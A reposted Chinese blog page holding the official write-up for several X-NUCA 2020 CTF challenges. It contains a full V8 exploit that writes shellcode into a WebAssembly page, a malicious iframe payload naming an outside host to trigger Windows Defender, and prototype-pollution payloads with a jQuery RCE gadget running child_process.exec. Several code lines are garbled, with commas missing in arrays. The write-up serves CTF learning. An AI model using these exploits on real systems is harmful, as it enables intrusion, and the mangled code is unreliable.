解题思路 | X-NUCA’2020线上专题赛官方WP来啦~

admin 2024年5月8日21:25:49评论6 views字数 8777阅读29分15秒阅读模式

10月31日,由中国科学院、深圳市人民政府、中国网络空间安全协会指导,中国科学院办公厅、中国科学院信息工程研究所、深圳市科技创新委员会主办,中国科学院大学网络空间安全学院、深圳大学承办的2020年全国高校网安联赛暨中国科学院第一届网络安全运维大师赛(X-NUCA’2020)线上赛顺利举办。永信至诚连续四年作为平台和技术支持单位为大赛护航。

本次X-NUCA线上专题赛持续36小时

在放出的26道高质量的赛题中

最终被攻克20题

因未设置签到题目

全场第一滴血在比赛开始后的100分钟后才终于出现

此次题目整体难度较高

为了让大家得到更多的学习交流机会

以下是春秋GAME联合组委会

提供的部分题目的解题思路

PWN

—babyv8

这是一道非常简单的v8 pwn,patch只有一行,在CodeStubAssembler::BuildAppendJSArray中可以看到Increment(&var_length);变成了Increment(&var_length, 3);所以在arr.push操作的时候length会+3,所以可以构造oob,但是如果在length>elements length的时候会触发array的fix,会增加element的长度。

稍微了解一下v8的数据结构的内存布局就可以发现在没有进行gc的时候elements是在array object的低地址处,所以这个oob刚好可以修改array object的length和elements addr,这样可以构造在特定区域的任意地址读写(因为8.0后是Pointer Compression),然后通过内存布局修改dataview的backingstore来构造任意地址读写,最后在wasm的rwx段写shellcode就行,因为远程没给交互,所以需要shellcode执行flag_printer。

总而言之这是个非常简单的v8题目,如果没接触过的新人我也预计的是4-6个小时就可以做出来,只需要学习v8的object在内存的布局就行。

下面是我的exp:

class Memory{
    constructor(){
        this.buf = new ArrayBuffer(8);
        this.f64 = new Float64Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.bytes = new Uint8Array(this.buf);
    }
    d2u(val){
        this.f64[0] = val;
        let tmp = Array.from(this.u32);
        return tmp[1] * 0x100000000 + tmp[0];
    }
    u2d(val){
        let tmp = [];
        tmp[0] = parseInt(val % 0x100000000);
        tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
        this.u32.set(tmp);
        return this.f64[0];
    }
    hex(val){
        return val.toString(16).padStart(16"0");
    }
}
var mem = new Memory();

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;

var a1 = [1.12.23.3];
var a = [1.12.23.3];
var b = [f,f];
var buf = new ArrayBuffer(0x200);
var dv = new DataView(buf);
a1.pop();
a1.push(3.3);
a1_addr = mem.d2u(a1[4]) & 0xFFFFFFFF;
a1[4] = mem.u2d(0x10000000000+a1_addr);

function leak32(addr, offset=0){
    a1[0xa] = mem.u2d(0x10000000000+addr);
    //print('0x' + mem.d2u(a[offset]).toString(16));
    return (mem.d2u(a[offset]) - (mem.d2u(a[offset]) & 0xFFFFFFFF)) / 0x100000000;
}

function leak64(addr, offset=0){
    a1[0xa] = mem.u2d(0x10000000000+addr);
    //print('0x' + mem.d2u(a[offset]).toString(16));
    return mem.d2u(a[offset]);
}

a.pop(); 
//%SystemBreak();
a.push(3.3);
print('0x'+ mem.d2u(a[4]).toString(16));
elements_addr = mem.d2u(a[4]) & 0xFFFFFFFF;
print('elements addr: 0x' + elements_addr.toString(16));
a[4] = mem.u2d(0x10000000000+elements_addr);

func_addr = (mem.d2u(a[0x6]) - (mem.d2u(a[0x6]) & 0xFFFFFFFF)) / 0x100000000;
print('func_addr: 0x'+ func_addr.toString(16));
backing_store = mem.d2u(a[0x14])
print('backing store: 0x'+ backing_store.toString(16));
print('backing store(): 0x'+ (backing_store * 0x1000).toString(16));


//%SystemBreak();  
//leak rwx
//function_addr->shared_info_addr->WasmExportedFunctionData->instance_addr->rwx_addr
shared_info_addr = leak32(func_addr);
print('shared_info_addr: 0x' + shared_info_addr.toString(16));
WasmExportedFunctionData = leak32(shared_info_addr-0x203);
print('WasmExportedFunctionData: 0x' + WasmExportedFunctionData.toString(16));
instance_addr = leak32(WasmExportedFunctionData-0x4);
print('instance_addr: 0x' + instance_addr.toString(16));
rwx_addr = leak64(instance_addr+0x60);
print('rwx_addr: 0x' + rwx_addr.toString(16));

//write backing store
a1[0xa] = mem.u2d(0x10000000000+elements_addr+4);
a[0xb] = mem.u2d(rwx_addr);
//let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let sc = [721841111111180721841151041111171001151172494367218446471021089710395112807213723149210492461065988155]
for(var i = 0; i<sc.length; i++){
    dv.setUint8(i, sc[i], true);
}
f();
//%SystemBreak();

Web

—easyphp_revenge

出这个题目主要是去年在做tokyowestern的ctf时找到了一个很有意思的恶意文件,windows defender处理它的行为不是之前已知的删除整个文件,而是会删除从这个恶意payload开始到文件末尾的文件,也就是部分删除。大概的场景我的猜测是,有些恶意文件的行为是污染整个文件目录之类,如果删除所有存在恶意payload的文件会对系统产生比较大的影响,因此只删除了部分文件,当然这纯粹是我瞎猜的。

windows defender

因为只允许创建.htaccess文件,因此需要想办法去除文件末尾增加的nhope no unintendednhope no unintendednhope no unintendedn字符串。 
直接给出payload,自行将
ixrame换成iframe
<ixrame src="http://www.52CPS.COM/goto/mm.Htm" width=0 height=0></ixrame>

之所以对文件内容的检查比较严格,是因为我以为选手们看到windows环境会立马想到利用defender,因此避免题目放出来就被立刻做掉的情况,我把payload的可用范围限制的比较死。这个payload在virustotal上面下载windows的病毒样本应该是能找到的,毕竟当时我就是那么发现的它。 
还有一点就是我在最近测试的时候发现在windows10 2004上这个payload的行为已经改变成删除整个文件了,但是在windows server2019也就是题目环境中仍然生效,想要复现的同学需要使用windows server2019。

htaccess配置
关注代码部分存在一处比较奇怪的地方,如果文件名不在白名单就输出文件名。
<?php
$userHome = md5($_SERVER['REMOTE_ADDR']);
$arr = explode('\', getcwd());
$num = count($arr);
if($arr[$num - 1] !== $userHome) {
    echo "no access to this challenge";
    die();
}
if(!isset($_GET['content']) || !isset($_GET['filename']) || !isset($_GET['teamtoken'])){
    highlight_file(__FILE__);
    die();
}

include($_SERVER['DOCUMENT_ROOT'] . "/function.php");

$content = $_GET['content'];
$filename = $_GET['filename'];
$token = $_GET['teamtoken'];

if(!is_string($content) || strlen($content)>125) {
    echo "Hacker";
    die();
}
if(!is_string($filename) || strlen($filename)>10) {
    echo "Hacker";
    die();
}
if(!is_string($token) || strlen($token)!==32) {
    echo "Hacker";
    die();
}
for($i=0;$i<31;$i++) {
    if($i !== 10 && stristr($content, chr($i))) {
        echo "Hacker";
        die();
    }
}
for($i=127;$i<256;$i++) {
    if(stristr($content, chr($i))) {
        echo "Hacker";
        die();
    }
}
$content_blacklist = array("session""html""type""upload""append""prepend""log""script""error""include""zend""htaccess""pcre""\""#");
foreach($content_blacklist as $keywords) {
    if(stristr($content, $keywords)) {
        echo "Hacker";
        die();
    }
}
$filename_whitelist = array(".htaccess");
$append_string = "nhope no unintendednhope no unintendednhope no unintendedn";
if(preg_match("/icq[0-9a-f]{29}/", $token) === 1) {
    if (checkToken($token, $content) === true) {
        if(array_search($filename, $filename_whitelist) !== FALSE){
            file_put_contents(getcwd() . '/' . $filename, $content . $append_string);
        } else {
            echo $filename;
        }
    } else {
        echo "use your valid teamtoken in icq, and you only have 30 times submit your payload.";
        die();
    }
else {
    echo "Hacker";
    die();
}
?>

php中有一处配置是output_handler,你可以指定处理输出流的函数。  
解题思路 | X-NUCA’2020线上专题赛官方WP来啦~
所以当output_handlerfile_get_contents时,即可控制filename为/flag,获得flag。

Web

oooooooldjs

这道题原型链污染的考点设计初衷是出题的时候搜寻到了很多基础库的原型链污染漏洞,但是如果直接把基础库的漏洞拿过来写在题目逻辑里太容易被发现了,就想怎么让这个环节更有意思一点,于是就去审了几个依赖于有漏洞的基础组件的上层功能库,找到了express-validator这个基于lodash的无法控制value的原型链污染。这个限制又让我觉得此前的原型链污染是不是确实太友好了,如果只给有限的污染能力我们是不是也可以做一些有意思的事情呢?基于这些想法,设计了这道题目。

三个js文件对应三个考点:

app.js -> 有限的原型链污染

entity.js -> 异步产生的bug

utils.js -> jQuery.js RCE gadget

下面是简易版wp。

预期解
#1原型链污染
通过任意一个POST方式的API发送一个带下面字段的请求,污染crossDomain为空字符串''
{"".constructor.prototype["crossDomain""1   "}
结果
Object.prototype.crossDomain = ''

#2 异步逻辑错误篡改block的type

DataRepository类的D方法会进行blocks的递归删除,
    D(id) {
        let di, dt
        for (const index in this.datas) {
            if (this.datas[index].id === id) {
                dt = this.types[index]
                this.types.splice(index, 1)
                di = index
            }
        }
        if (dt === 'url') {
            requests(this.datas[di].block, "DELETE").finally(() => {
                this.datas = this.datas.filter((value) => value.id !== id)
            })
        } else {
            this.datas = this.datas.filter((value) => value.id !== id)
        }
    }

但是删除的时候是先pop了this.types中的内容,然后把this.datas内容的删除放到了一个异步函数requests中去。由于异步函数的特性,导致了两个数组的信息存在一个时间差内的不一致,确切的说就是this.datas数组在某段时间内比this.types长一点。第二个考点就是要抓住这个时间窗口,构造一段数据使得本来是text类型的内容,从this.types中取出来的类型确实url,从而控制requests函数的url参数。

具体的构造方式就是在this.datasthis.types长n个的这个时间段内,先POST 1个text类型的数据,内容是我们自己的url,然后POST n个url类型的数据,内容符合要求即可。这时我们第一次POST的text类型的url,从this.types取出来就是url

#3 触发jQuery中的RCE Gadget

访问我们上一步POST的那个text类型的数据,让题目访问我们自己的url。url指向的返回头和内容如下:

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, crossDomain
Content-Length: 133

this.constructor.constructor('return process.mainModule.require("child_process").exec("open /System/Applications/Calculator.app")')()
成功弹出calculator!
解题思路 | X-NUCA’2020线上专题赛官方WP来啦~
非预期

看了下wp,0ops的师傅竟然做到了任意原型链污染(惊

由于手贱加了个json中间件,允许传入object,导致可以污染任意值,payload如下

{"block": {"__proto__": {"a"123}}, "block"].__proto__["a"123}

相当于劫持了value,具体师傅们自己分析啦。

师傅们tql

解题思路 | X-NUCA’2020线上专题赛官方WP来啦~

解题思路 | X-NUCA’2020线上专题赛官方WP来啦~

解题思路 | X-NUCA’2020线上专题赛官方WP来啦~

点击下方“阅读原文”,查看更多赛题WP~

原文始发于微信公众号(春秋伽玛):解题思路 | X-NUCA’2020线上专题赛官方WP来啦~

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月8日21:25:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   解题思路 | X-NUCA’2020线上专题赛官方WP来啦~https://cn-sec.com/archives/1020515.html

发表评论

匿名网友 填写信息